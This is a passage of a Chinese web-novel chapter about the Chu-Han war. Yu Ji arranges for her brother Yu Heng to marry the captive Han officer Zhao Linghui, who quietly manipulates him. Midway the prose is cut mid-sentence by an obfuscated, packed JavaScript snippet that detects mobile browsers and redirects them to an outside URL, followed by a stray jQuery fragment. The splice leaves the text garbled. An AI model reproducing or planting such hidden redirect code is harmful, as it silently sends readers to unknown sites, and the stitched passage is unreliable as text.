“你我是亲兄妹,兄长心里想的什么,妹子还能不知道吗?”虞姬慢条斯理地擦去手上的汁水,“也是,她这样的姑娘,是世间罕见,兄长不动心才怪。可惜的是,她到底曾是汉军的司马,不能与我楚国一条心,不然,给兄长做妾是可以的。”
虞姬的语气,当真有几分遗憾。她边说着,悄悄打量虞衡。
虞衡脸色“唰”地就白了:“她怎么能做妾呢!?”
虞姬轻笑一声,拿帕子掩着嘴:“瞧瞧,瞧瞧,兄长自个儿还不承认呢,说句让她做妾,兄长就急了。”
虞衡后知后觉反应过来她在试探自己,红着耳根低下了头。
虞姬稍敛了几分调笑之色:“方才我说的话做不得假。她却是个烈性子。做的了宫女,却做不得妾。要真让她做妾,兄长那寿春侯府还不得闹个天翻地覆,不得安宁,什么样的主母能治得住她这样的。”
虞衡辩解道:“她性子很好的,不是妹妹说的那样……”
虞姬挥挥手打断他:“我还没说什么呢,兄长又护上了。她好歹也汉军里有威名的人,就是汉王也不敢让她做妾,更何况是兄长你。咱们兄妹关起门来说话,若她不是个女儿身,那是要被杀无疑的。大王留着她条性命,无非是羞辱汉军有用。
“因为她之前做下的事情,本来我是不想把她放在我宫里的。大王说了,若我这里容不下她,她就要去做军/妓了。我虽然恨她,但不想她落得那般境地,这才留了下来。好嘛,她面上乖巧了几日,转头勾上了兄长。要是兄长你不动心,她是免不了几顿刑罚的,可偏偏兄长你动了心。”
虞姬叹口气,道:“兄长为了我和阿籍,孤身到如今,难得有个你喜欢的,做妹妹的我也不好强行去拆散。只是有一点,兄长要记得,她这样的人,嘴上面上服服帖帖,心里指不定想着怎么再祸害我们楚国呢。妹妹我对她有恨,却也欣赏她的才干。但要她为我出谋划策,我是万万不敢用的。杀不得,留不得,恰巧兄长你又喜欢她,把她嫁出去,不失为一条好路子。”
虞衡怔怔地看着虞姬。
“兄长别这样看我。”虞姬淡淡笑了下,“身为楚国的王后,我必须得为楚国筹谋。”
虞衡张了张嘴,喃喃自语:“对不起……阿姜。”
虞姬也愣了,旋即笑了:“现在很好,我很喜欢。”
接着,她道:“兄长若要娶她,就要想明白了,光明正大地娶她为妻,莫叫她再生出什么旁的心思。兄长这样温和的性子,当然压不住她,不过,只要让刘邦和韩信知道,他们的司马在西楚已为人妻,这就足够了。”
“她……愿意吗?”
“兄长还是不够了解她。”虞姬无奈地笑着,“她贪生怕死,不会放过任何一个,让自己活得更舒服的机会。只要兄长愿意,大王那边,我来调停。既然她人已经在兄长府上,也免了折腾,就不必再送回来了。不过,在确定婚期之前,要让她先做一阵子你的贴身婢女,我还得看看她,是不是真的乖顺了。至于跟她一道的那个宫女么,兄长也一同带回去吧。”
.
再次有了意识,赵令徽身陷在温暖的被褥中,头顶是青色的帐子,鼻尖萦绕着淡淡的熏香气。
“你醒了?”
赵令徽侧脸,看向声音的来源:“寿春侯?”
虞衡想去握她的手,忽觉得太唐突,手便在半空中顿住:“这里是我们的府邸,你醒了就好。我准备了热汤和粥,你要用哪个?”
赵令徽眉头皱了下,捕捉到了他话里奇怪的地方:“我们?”
“这里以后是你的家……不好吗?”虞衡态度温和却强硬。
赵令徽动了下酥麻的手,缓缓挪到脸上,捂住额头,一日未尽水米,几乎没有力气了:“寿春侯的意思是,是让我以见不得人的身份留在侯府了?”
她倒快要忘了,虞衡辅佐项羽到如今,杀伐果断,也是个狠角色,绝不是那么好说话的。
“不是。”虞衡想了想,还是握住了她另一只手,“你以后是侯府的女主人。我娶你为妻。”
若不是身在寿春侯府,面前是虞衡,赵令徽简直要冷笑了,说得好像恩赐一般。她堂堂一司马,好好的临晋侯,落得这般境地,不是拜项羽所赐么?
虞衡以为她是感动地落泪了,便细声哄道:“你受委屈了。只是在我们正式成婚前,还要委屈你一段日子。你放心,这只是权宜之计,待到大王打了胜仗,王后就为我们请婚,我娶你为妻。不会有人欺辱你的。”
赵令徽将该在脸上的手挪开,一滴泪珠恰到好处地从脸颊划过。她的心里,一丝波澜也没有。
赵令徽虽然有意勾他,却没料到短短几日就让他情根深种,虽觉得怪异,但并不怀疑此事的真假。
无非就是,想用姻缘锁住她,觉得汉王不会再用她罢了。
赵令徽也没法说他们是高估还是低估了刘邦的道德,他才不会在意这些呢。
陇西郡都出了女郡守薄显了,再出一个女司马、女侯,又有何妨?
当然,日子能过得更自由些,赵令徽更乐意。对于虞衡的话,她没有应,也没有否,只是一笑置之,客客气气地说谢过君侯和王后。
“我们以后便是夫妻,不要说什么谢不谢的。”虞衡有些意外,他还以为她会不高兴一阵子呢,遂端了热汤来喂她,“昏了这么久,你也该饿了,多少先用一点,过会再用膳食。”
赵令徽便小口地吞咽着,一副楚楚可怜的模样。
虞衡瞥到她发红的眼尾,手指动了下:“你……跟你很好的那个宫女,现在也在府里,以后就让她来伺候你。”
“嗯。”赵令徽垂下眸子,将情绪收拢起来。
果然,虞姬还不能对她放心。
能出楚王宫这个囚笼,已经比她料想的好多了。也算是,没亏了她这几日的筹谋。看来她的路数,对虞衡还有用。
楚王宫那破地方,她一刻也不想多待,四处高墙,汉军的风声,几
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333951|166789||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
乎听不到。
.
赵令徽和杜霄就在寿春侯府安置下来,以虞衡贴身婢女的身份。为了伺候虞衡,她们的住处离虞衡的住处很近。
说是贴身婢女,但府里没人敢把赵令徽当贴身婢女。比起虞衡的贴身婢女,赵令徽更像主人。在她们两个来以前,伺候虞衡的,都是些小厮。如今也没有什么变动。
而杜霄也不需要伺候虞衡,她唯一要照顾的,是赵令徽。
赵令徽和杜霄的关系,进入了一种诡异的平衡。
两个人谁也不跟谁不说话。
杜霄沉默着给赵令徽喂药。
项羽那日那一脚踹的不轻,加上跪了许多时候,赵令徽伤到了内里,需要用药修养。
除了喂药以外,赵令徽不怎么需要杜霄的伺候,大小事情豆芽她自己来。
诡异的气氛让虞衡都感受到了十二分的不对劲。
虞衡便问赵令徽,可是不喜欢杜霄。
赵令徽便答,是女孩间的小矛盾罢了,没什么的。虞衡便不再多问了。因为赵令徽牵住了他的手。他浑身的感官,都放到了掌心那只不怎么柔软的手上了。
赵令徽发现,虞衡根本经不起撩拨。只要她一拽他的手,他整个人就红透了,失去了理智。
这个发现让赵令徽很高兴,一旦她不想让虞衡继续说下去,就拽他的手。
百试百灵。
和杜霄之间,也没想着放任。这次她和杜霄是真的同在一个屋檐下了,她不得不跟杜霄说话。
某一日,赵令徽将脑袋撑在下巴上,看着一脸冷漠的杜霄,道。“生了这许多日子的气,也该消气了。”
见杜霄没什么发硬,赵令徽神情散淡:“我倒是好奇,你气的我哪句话。”
杜霄正在做针线活的手一顿,嗓音清冷:“你自己说,叫我离你远一些。”
赵令徽眨眨眼:“你现在除了不同我讲话,不也没离我远些吗?不仅没离我远些,还得和我日日夜夜对望。”
杜霄又不说话了。赵令徽说话好生叫人恼怒。
赵令徽凑上去:“好姊姊,莫生我气了,我给你赔不是还不行?”
杜霄不为所动。
赵令徽就开始晃她的胳膊,晃得她都拿不稳针线。杜霄被晃得没办法:“好了好了,你让我做什么?”
无事不登三宝殿,赵令徽如此低声下气,必然是有事情求人。
怎么说,自己这条性命也算是赵令徽救回来的。人已经在寿春侯府了,虞衡也要娶赵令徽了,事情已经成了,她再冷下去,对自己没什么好处。
“姊姊的针线活做的很好。”赵令徽眨巴着眼睛。
杜霄叹口气:“有话直说。”
“姊姊可不可以帮我绣个荷包。”赵令徽伸手比划了下,“要男子戴的那种,针线不必太熟练。”
杜霄当即反应过来:“你要送给君侯?”
赵令徽眼疾手快的捂住她的嘴,随后点了点头。